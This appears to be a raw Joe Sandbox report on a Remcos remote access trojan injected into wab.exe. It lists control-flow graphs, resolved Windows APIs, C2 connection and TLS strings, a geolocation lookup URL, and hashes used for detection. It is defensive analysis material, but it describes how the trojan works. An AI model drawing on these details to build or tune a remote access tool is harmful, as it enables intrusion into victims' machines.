234->286 287 40efdc-40efde 234->287 271->234 288 40eece-40eeed call 401e65 call 41bc5e call 40f474 271->288 289 40efc3-40efda call 41cd9b CreateThread 286->289 290 40efe0-40efe2 287->290 291 40efe4 287->291 288->234 306 40eeef 288->306 294 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 289->294 290->289 291->294 344 40f101 294->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 294->345 306->92 347 40f103-40f11b call 401e65 call 401fab 344->347 345->347 356 40f159-40f16c call 401e65 call 401fab 347->356 357 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 347->357 367 40f1cc-40f1df call 401e65 call 401fab 356->367 368 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 356->368 357->356 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 367->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 367->380 368->367 379->380 400 40f240-40f241 SetProcessDEPPolicy 380->400 401 40f243-40f256 CreateThread 380->401 400->401 404 40f264-40f26b 401->404 405 40f258-40f262 CreateThread 401->405 408 40f279-40f280 404->408 409 40f26d-40f277 CreateThread 404->409 405->404 412 40f282-40f285 408->412 413 40f28e 408->413 409->408 416 40f287-40f28c 412->416 417 40f2cc-40f2df call 401fab call 4134ff 412->417 415 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 413->415 415->417 416->415 426 40f2e4-40f2e7 417->426 426->157 428 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 426->428 443 40f346-40f34b DeleteFileW 428->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                                            APIs
                                              • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                                              • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                                              • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                                              • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                                              • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                                              • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                                              • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                              • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                                              • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                                            • GetModuleFileNameW.KERNEL32(00000000,C:\Program Files (x86)\Windows Mail\wab.exe,00000104), ref: 0040E9EE
                                              • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                                            • String ID: SG$ SG$8SG$8SG$Access Level: $Administrator$C:\Program Files (x86)\Windows Mail\wab.exe$Exe$Inj$PSG$Remcos Agent initialized$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                                            • API String ID: 2830904901-2221420939
                                            • Opcode ID: 747d405c528f15ab38f340b499f6c8eb85ced7579b397f1517eaf58dd5f7f014
                                            • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                                            • Opcode Fuzzy Hash: 747d405c528f15ab38f340b499f6c8eb85ced7579b397f1517eaf58dd5f7f014
                                            • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                                            Function 00414F2A Relevance: 46.3, APIs: 5, Strings: 21, Instructions: 809sleepnetworkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 448 414f2a-414f72 call 4020df call 41b8b3 call 4020df call 401e65 call 401fab call 43baac 461 414f81-414fcd call 402093 call 401e65 call 4020f6 call 41be1b call 40489e call 401e65 call 40b9bd 448->461 462 414f74-414f7b Sleep 448->462 477 415041-4150dc call 402093 call 401e65 call 4020f6 call 41be1b call 401e65 * 2 call 406c1e call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 461->477 478 414fcf-41503e call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 461->478 462->461 531 4150ec-4150f3 477->531 532 4150de-4150ea 477->532 478->477 533 4150f8-41518a call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414ee9 531->533 532->533 560 4151d5-4151e3 call 40482d 533->560 561 41518c-4151d0 WSAGetLastError call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 533->561 566 415210-415225 call 404f51 call 4048c8 560->566 567 4151e5-41520b call 402093 * 2 call 41b4ef 560->567 581 415aa3-415aa5 call 404e26 561->581 566->581 582 41522b-41537e call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 4 call 41b7e0 call 4145bd call 40905c call 441e81 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 4136f8 566->582 567->581 591 415aaa-415ab5 call 4021fa 581->591 648 415380-41538d call 405aa6 582->648 649 415392-4153b9 call 401fab call 4135a6 582->649 597 415ab7-415ad7 call 401e65 call 401fab call 43baac Sleep 591->597 598 415add-415ae5 call 401e8d 591->598 597->598 598->477 648->649 655 4153c0-41577f call 40417e call 40dd89 call 41bc42 call 41bd1e call 41bb8e call 401e65 GetTickCount call 41bb8e call 41bae6 call 41bb8e * 2 call 41ba96 call 41bd1e * 5 call 40f8d1 call 41bd1e call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 649->655 656 4153bb-4153bd 649->656 782 415781 call 404aa1 655->782 656->655 783 415786-415a0a call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 782->783 901 415a0f-415a16 783->901 902 415a18-415a1f 901->902 903 415a2a-415a31 901->903 902->903 904 415a21-415a23 902->904 905 415a33-415a38 call 40b051 903->905 906 415a3d-415a6f call 405a6b call 402093 * 2 call 41b4ef 903->906 904->903 905->906 917 415a71-415a7d CreateThread 906->917 918 415a83-415a9e call 401fd8 * 2 call 401f09 906->918 917->918 918->581
                                            APIs
                                            • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414F7B
                                            • WSAGetLastError.WS2_32(00000000,00000001), ref: 0041518C
                                            • Sleep.KERNEL32(00000000,00000002), ref: 00415AD7
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Sleep$ErrorLastLocalTime
                                            • String ID: | $%I64u$5.1.0 Pro$8SG$C:\Program Files (x86)\Windows Mail\wab.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$PSG$TLS Off$TLS On $dMG$hlight$name$NG$NG$PG$PG$PG
                                            • API String ID: 524882891-2834009993
                                            • Opcode ID: 19ef7ff21120ce4d864f1b3937725887b2176c6c21eb35dbedaed6ac899dd5b6
                                            • Instruction ID: 324fc11d7bea0fba9c16e2c7d7b547a311b01f704130931fc4cc70caa797af2d
                                            • Opcode Fuzzy Hash: 19ef7ff21120ce4d864f1b3937725887b2176c6c21eb35dbedaed6ac899dd5b6
                                            • Instruction Fuzzy Hash: 22526B31A001155ACB18F732DD96AFE73769F90344F6041BFE40A761E2EF781E858A5D
                                            Function 00414D86 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 925 414d86-414dc2 926 414dc8-414ddd GetSystemDirectoryA 925->926 927 414edd-414ee8 925->927 928 414ed3 926->928 929 414de3-414e2f call 441a3e call 441a98 LoadLibraryA 926->929 928->927 934 414e31-414e3b GetProcAddress 929->934 935 414e46-414e80 call 441a3e call 441a98 LoadLibraryA 929->935 936 414e42-414e44 934->936 937 414e3d-414e40 FreeLibrary 934->937 948 414e82-414e8c GetProcAddress 935->948 949 414ecf-414ed2 935->949 936->935 939 414e97 936->939 937->936 942 414e99-414eaa GetProcAddress 939->942 943 414eb4-414eb7 FreeLibrary 942->943 944 414eac-414eb0 942->944 947 414eb9-414ebb 943->947 944->942 946 414eb2 944->946 946->947 947->949 950 414ebd-414ecd 947->950 951 414e93-414e95 948->951 952 414e8e-414e91 FreeLibrary 948->952 949->928 950->949 950->950 951->939 951->949 952->951
                                            APIs
                                            • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                                            • LoadLibraryA.KERNEL32(?), ref: 00414E17
                                            • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                                            • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                                            • LoadLibraryA.KERNEL32(?), ref: 00414E76
                                            • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                                            • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                                            • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                            • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                            • API String ID: 2490988753-744132762
                                            • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                                            • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                                            • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                                            • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                                            Function 004048C8 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 144networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • connect.WS2_32(?,?,?), ref: 004048E0
                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                                            • WSAGetLastError.WS2_32 ref: 00404A21
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                            • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... | $XJ"
                                            • API String ID: 994465650-3521625146
                                            • Opcode ID: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                                            • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                                            • Opcode Fuzzy Hash: 99cb689bb5f18c3443efc10de2b69162055e835058a5c35f32943c28cb679500
                                            • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                                            Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                            • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                            • CloseHandle.KERNEL32(?), ref: 00404E4C
                                            • closesocket.WS2_32(000000FF), ref: 00404E5A
                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                                            • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                                            • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                                            • CloseHandle.KERNEL32(?), ref: 00404EBF
                                            • CloseHandle.KERNEL32(?), ref: 00404EC4
                                            • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                                            • CloseHandle.KERNEL32(?), ref: 00404ED6
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                            • String ID:
                                            • API String ID: 3658366068-0
                                            • Opcode ID: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                                            • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                                            • Opcode Fuzzy Hash: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                                            • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                                            Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1045 40da34-40da59 call 401f86 1048 40db83-40dba9 call 401f04 GetLongPathNameW call 40417e 1045->1048 1049 40da5f 1045->1049 1070 40dbae-40dc1b call 40417e call 40ddd1 call 402fa5 * 2 call 401f09 * 5 1048->1070 1051 40da70-40da7e call 41b5b4 call 401f13 1049->1051 1052 40da91-40da96 1049->1052 1053 40db51-40db56 1049->1053 1054 40daa5-40daac call 41bfb7 1049->1054 1055 40da66-40da6b 1049->1055 1056 40db58-40db5d 1049->1056 1057 40da9b-40daa0 1049->1057 1058 40db6e 1049->1058 1059 40db5f-40db64 call 43c0cf 1049->1059 1079 40da83 1051->1079 1061 40db73-40db78 call 43c0cf 1052->1061 1053->1061 1071 40db00-40db4c call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1054->1071 1072 40daae-40dafe call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1054->1072 1055->1061 1056->1061 1057->1061 1058->1061 1067 40db69-40db6c 1059->1067 1073 40db79-40db7e call 409057 1061->1073 1067->1058 1067->1073 1071->1079 1084 40da87-40da8c call 401f09 1072->1084 1073->1048 1079->1084 1084->1048
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LongNamePath
                                            • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                            • API String ID: 82841172-425784914
                                            • Opcode ID: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                                            • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                                            • Opcode Fuzzy Hash: f699c62159184187b538f79cdc1dbfdb69b721564b31670cb9aa7a5423fa7b62
                                            • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                                            Function 0044AC49 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1127 44ac49-44ac62 1128 44ac64-44ac74 call 446766 1127->1128 1129 44ac78-44ac7d 1127->1129 1128->1129 1136 44ac76 1128->1136 1131 44ac7f-44ac87 1129->1131 1132 44ac8a-44acae MultiByteToWideChar 1129->1132 1131->1132 1134 44acb4-44acc0 1132->1134 1135 44ae41-44ae54 call 434fcb 1132->1135 1137 44ad14 1134->1137 1138 44acc2-44acd3 1134->1138 1136->1129 1140 44ad16-44ad18 1137->1140 1141 44acd5-44ace4 call 457190 1138->1141 1142 44acf2-44ad03 call 446137 1138->1142 1145 44ae36 1140->1145 1146 44ad1e-44ad31 MultiByteToWideChar 1140->1146 1141->1145 1155 44acea-44acf0 1141->1155 1142->1145 1152 44ad09 1142->1152 1150 44ae38-44ae3f call 435e40 1145->1150 1146->1145 1149 44ad37-44ad49 call 448bb3 1146->1149 1157 44ad4e-44ad52 1149->1157 1150->1135 1156 44ad0f-44ad12 1152->1156 1155->1156 1156->1140 1157->1145 1159 44ad58-44ad5f 1157->1159 1160 44ad61-44ad66 1159->1160 1161 44ad99-44ada5 1159->1161 1160->1150 1164 44ad6c-44ad6e 1160->1164 1162 44ada7-44adb8 1161->1162 1163 44adf1 1161->1163 1165 44add3-44ade4 call 446137 1162->1165 1166 44adba-44adc9 call 457190 1162->1166 1167 44adf3-44adf5 1163->1167 1164->1145 1168 44ad74-44ad8e call 448bb3 1164->1168 1172 44ae2f-44ae35 call 435e40 1165->1172 1183 44ade6 1165->1183 1166->1172 1181 44adcb-44add1 1166->1181 1171 44adf7-44ae10 call 448bb3 1167->1171 1167->1172 1168->1150 1180 44ad94 1168->1180 1171->1172 1184 44ae12-44ae19 1171->1184 1172->1145 1180->1145 1185 44adec-44adef 1181->1185 1183->1185 1186 44ae55-44ae5b 1184->1186 1187 44ae1b-44ae1c 1184->1187 1185->1167 1188 44ae1d-44ae2d WideCharToMultiByte 1186->1188 1187->1188 1188->1172 1189 44ae5d-44ae64 call 435e40 1188->1189 1189->1150
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044ACA3
                                            • __alloca_probe_16.LIBCMT ref: 0044ACDB
                                            • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044AD29
                                            • __alloca_probe_16.LIBCMT ref: 0044ADC0
                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                                            • __freea.LIBCMT ref: 0044AE30
                                              • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                                            • __freea.LIBCMT ref: 0044AE39
                                            • __freea.LIBCMT ref: 0044AE5E
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                                            • String ID:
                                            • API String ID: 3864826663-0
                                            • Opcode ID: f133f672f31cad4c1eaa5701a27b160f43f27f2d719f30c1e4d65ec3bb2f8dff
                                            • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                                            • Opcode Fuzzy Hash: f133f672f31cad4c1eaa5701a27b160f43f27f2d719f30c1e4d65ec3bb2f8dff
                                            • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                                            Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1192 41b380-41b3c3 call 4020df call 43bd51 InternetOpenW InternetOpenUrlW 1197 41b3c5-41b3e6 InternetReadFile 1192->1197 1198 41b3e8-41b408 call 4020b7 call 403376 call 401fd8 1197->1198 1199 41b40c-41b40f 1197->1199 1198->1199 1201 41b411-41b413 1199->1201 1202 41b415-41b422 InternetCloseHandle * 2 call 43bd4c 1199->1202 1201->1197 1201->1202 1206 41b427-41b431 1202->1206
                                            APIs
                                            • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                                            • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                                            • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                                            • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                                            • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                                            Strings
                                            • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Internet$CloseHandleOpen$FileRead
                                            • String ID: http://geoplugin.net/json.gp
                                            • API String ID: 3121278467-91888290
                                            • Opcode ID: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                                            • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                                            • Opcode Fuzzy Hash: ed6e4750be8d51d583a68a6d75bf3866e9d73d32e6528751d06602238a365c91
                                            • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                                            Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1210 41b2c3-41b31a call 41bfb7 call 4135a6 call 401fe2 call 401fd8 call 406ae1 1221 41b35d-41b366 1210->1221 1222 41b31c-41b347 call 4135a6 call 401fab StrToIntA 1210->1222 1224 41b368-41b36d 1221->1224 1225 41b36f 1221->1225 1232 41b355-41b358 call 401fd8 1222->1232 1233 41b349-41b352 call 41cf69 1222->1233 1226 41b374-41b37f call 40537d 1224->1226 1225->1226 1232->1221 1233->1232
                                            APIs
                                              • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                              • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                              • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                                              • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                                            • StrToIntA.SHLWAPI(00000000), ref: 0041B33C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCurrentOpenProcessQueryValue
                                            • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                            • API String ID: 1866151309-2070987746
                                            • Opcode ID: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                                            • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                                            • Opcode Fuzzy Hash: 8f8f5d60ce35d1a1c8195802feeff86a127f68f3eb7fb2a0a498f7b0ec669ebf
                                            • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                                            Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CountEventTick
                                            • String ID: !D@$NG
                                            • API String ID: 180926312-2721294649
                                            • Opcode ID: 8534da9eaa12ab86249594b2047bbf4fbef179ea81602a36c7078798381233d8
                                            • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                                            • Opcode Fuzzy Hash: 8534da9eaa12ab86249594b2047bbf4fbef179ea81602a36c7078798381233d8
                                            • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
